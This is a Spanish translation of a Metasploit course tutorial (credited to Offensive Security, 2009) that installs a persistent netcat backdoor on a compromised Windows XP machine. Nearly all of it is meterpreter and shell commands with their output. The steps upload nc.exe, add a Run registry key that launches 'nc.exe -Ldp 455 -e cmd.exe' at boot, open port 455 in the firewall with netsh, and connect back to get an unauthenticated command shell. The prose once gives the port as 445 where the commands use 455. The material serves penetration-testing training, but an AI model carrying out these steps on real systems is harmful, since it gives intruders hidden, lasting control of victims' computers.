Backdoor Netcat Persistente
De www.metasploit-es.com.ar
Backdoor Netcat Persistente
Trabajaremos distinto en este ejemplo, en lugar de buscar información en el sistema remoto, se instalará un backdoor con netcat en el. Esto incluye cambios en el registro y el firewall.
En primer lugar, tenemos que entregar una copia de netcat al sistema remoto:
meterpreter > upload /tmp/nc.exe C:\\windows\\system32 [*] uploading : /tmp/nc.exe -> C:\windows\system32 [*] uploaded : /tmp/nc.exe -> C:\windows\system32nc.exe
Ahora modificaremos el registro para que ejecute netcat cuando se inicie la maquina y que espere siempre de puertas abiertas en el puerto 455. Esto lo conseguimos modificando la siguiente clave en el registro: HKLM\software\microsoft\windows\currentversion\run .
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run Enumerating: HKLM\software\microsoft\windows\currentversion\run Values (3): VMware Tools VMware User Process quicktftpserver meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\windows\system32\nc.exe -Ldp 455 -e cmd.exe" Successful set nc. meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc Key: HKLM\software\microsoft\windows\currentversion\Run Name: nc Type: REG_SZ Data: C:\windows\system32\nc.exe -Ldp 455 -e cmd.exe
A continuación, tenemos que modificar un poco el sistema y darle permisos al firewall para que acepte las conexiones remotas a nuestro Backdoor Netcat en su puerto. Abriremos un interprete / consola / prompt y tecleamos el comando "netsh" para hacer los cambios, ya que es un error, mucho menos propensos que modificar directamente el registro. Además, el proceso que se muestra aquí debe funcionar en otras versiones de Windows también, debido a que las direcciones de registro y las funciones son altamente dependientes.
meterpreter > execute -f cmd -i Process 1604 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Jim\My Documents> netsh firewall show opmode Netsh firewall show opmode Domain profile configuration: ------------------------------------------------------------------- Operational mode = Enable Exception mode = Enable Standard profile configuration (current): ------------------------------------------------------------------- Operational mode = Enable Exception mode = Enable Local Area Connection firewall configuration: ------------------------------------------------------------------- Operational mode = Enable
Abrimos el puerto 445 en el firewall, y comprobamos si se creo bien a regla.
C:\Documents and Settings\Jim\My Documents> netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL Ok. C:\Documents and Settings\Jim\My Documents> netsh firewall show portopening netsh firewall show portopening Port configuration for Domain profile: Port Protocol Mode Name ------------------------------------------------------------------- 139 TCP Enable NetBIOS Session Service 445 TCP Enable SMB over TCP 137 UDP Enable NetBIOS Name Service 138 UDP Enable NetBIOS Datagram Service Port configuration for Standard profile: Port Protocol Mode Name ------------------------------------------------------------------- 455 TCP Enable Service Firewall 139 TCP Enable NetBIOS Session Service 445 TCP Enable SMB over TCP 137 UDP Enable NetBIOS Name Service 138 UDP Enable NetBIOS Datagram Service C:\Documents and Settings\Jim\My Documents>
Cuando hayamos completado, tendremos que reiniciar el sistema remoto y poner a prueba Netcat :D.
root@bt4:/pentest/exploits/framework3# nc -v 172.16.104.128 455 172.16.104.128: inverse host lookup failed: Unknown server error : Connection timed out (UNKNOWN) [172.16.104.128] 455 (?) open Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Jim> dir dir Volume in drive C has no label. Volume Serial Number is E423-E726 Directory of C:\Documents and Settings\Jim 05/03/2009 01:43 AM . 05/03/2009 01:43 AM .. 05/03/2009 01:26 AM 0 ;i 05/12/2009 10:53 PM Desktop 10/29/2008 05:55 PM Favorites 05/12/2009 10:53 PM My Documents 05/03/2009 01:43 AM 0 QCY 10/29/2008 03:51 AM Start Menu 05/03/2009 01:25 AM 0 talltelnet.log 05/03/2009 01:25 AM 0 talltftp.log 4 File(s) 0 bytes 6 Dir(s) 35,540,791,296 bytes free C:\Documents and Settings\Jim>
Maravilloso! En una situación real, no se debe utilizar un backdor tan simple como este, sin autenticación o cifrado ni nada, sin embargo los principios generales de este proceso siguen siendo los mismos que otros cambios en el sistema, y otro tipo de programas piden ejecutarse con el arranque.
© Offensive Security 2009
Original by www.offensive-security.com Traslated by FreeInfo